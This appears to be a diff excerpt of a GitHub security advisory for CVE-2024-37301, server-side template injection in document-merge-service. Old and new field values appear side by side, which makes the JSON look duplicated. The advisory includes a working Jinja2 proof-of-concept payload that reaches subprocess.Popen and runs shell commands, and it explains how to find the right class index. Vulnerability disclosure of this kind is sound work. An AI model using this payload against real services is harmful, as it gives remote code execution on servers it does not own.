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2024-09-30 19:42:42 +00:00
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advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json
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{
"schema_version": "1.4.0",
"id": "GHSA-v5gf-r78h-55q6",
"modified": "2024-06-12T19:21:00Z",
"modified": "2024-09-30T19:41:05Z",
"published": "2024-06-11T20:22:55Z",
"aliases": [
"CVE-2024-37301"
],
"summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection",
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n",
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"ls -a\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"whoami\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"uname -a\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n(note: the service would not run as root if configured correctly)",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
}
],
"affected": [